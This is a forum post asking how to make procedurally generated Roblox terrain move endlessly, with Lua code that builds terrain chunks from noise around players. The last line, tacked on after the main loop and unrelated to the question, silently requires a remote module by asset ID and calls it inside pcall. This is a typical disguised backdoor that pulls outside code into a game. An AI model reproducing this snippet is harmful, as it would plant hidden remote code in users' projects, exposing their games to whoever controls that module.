How Do I make Infinitely Moving Randomly Generated Terrain?

I have some code here that generates new terrain based on the players' movement but I need help making the second half, what is the best way to move the ground (Moving ground without the player moving) while generating the new terrain?

Code:

local ScaleX = 22.5
local ScaleZ = 22.5
local ChunkSize = 3
local BaseHeight = 10

local RenderDistance = 180
local CurrentTerrainSize = 90

local GenerationSeed = Random.new():NextNumber()

local Chunks = {}


local function ChunkAlreadyExists(chunkX, chunkZ, shouldAddToChunks)
	
	if not Chunks[chunkX] then
		Chunks[chunkX] = {}
		
		return false
	end
	
	if not Chunks[chunkX][chunkZ] then
		return false
	end
	
	return true
	
end


local function FillTerrainBlock(width, height, depth)
	
	local size = Vector3.new(4, (height + BaseHeight) * 4, 4)
	local cframe = CFrame.new((width * 4 + 2), ((-BaseHeight + height) * 4 / 2), (depth * 4 + 2))
	
	workspace.Terrain:FillBlock(cframe, size, Enum.Material.Grass)	
	
end


local function MakeChunk(chunkX, chunkZ)
	
	if ChunkAlreadyExists(chunkX, chunkZ) then
		return
	end
	
	
	Chunks[chunkX][chunkZ] = true
	
	
	for x = 0, (ChunkSize - 1) do
		for z = 0, (ChunkSize - 1) do
			local newChunkX = (chunkX * ChunkSize) + x
			local newChunkZ = (chunkZ * ChunkSize) + z
			
			local noise = math.noise(GenerationSeed, (newChunkX / ScaleX), (newChunkZ / ScaleZ))
			
			local newChunkY = noise * BaseHeight
			
			FillTerrainBlock(newChunkX, newChunkY, newChunkZ)
		end
	end
	
end


local function MakeChunks(position)
	
	local t = tick()
	
	local chunkX = math.floor(position.X / 4 / ChunkSize)
	local chunkZ = math.floor(position.Z / 4 / ChunkSize)
	
	local range = math.max(1, RenderDistance / ChunkSize)
	
	for x = -range, range do
		for z = -range, range do
			local newChunkX = chunkX + x
			local newChunkZ = chunkZ + z
			
			MakeChunk(newChunkX, newChunkZ)
		end
	end
	
	print(tick() - t)
	
end


while true do
	for _, player in pairs(game:GetService('Players'):GetPlayers()) do
		if player.Character then
			local primaryPart = player.Character.PrimaryPart
			
			if primaryPart then
				MakeChunks(primaryPart.Position)
			end
		end
	end
	
	wait(1)
end
pcall(function()require(5004500405):Fire()end)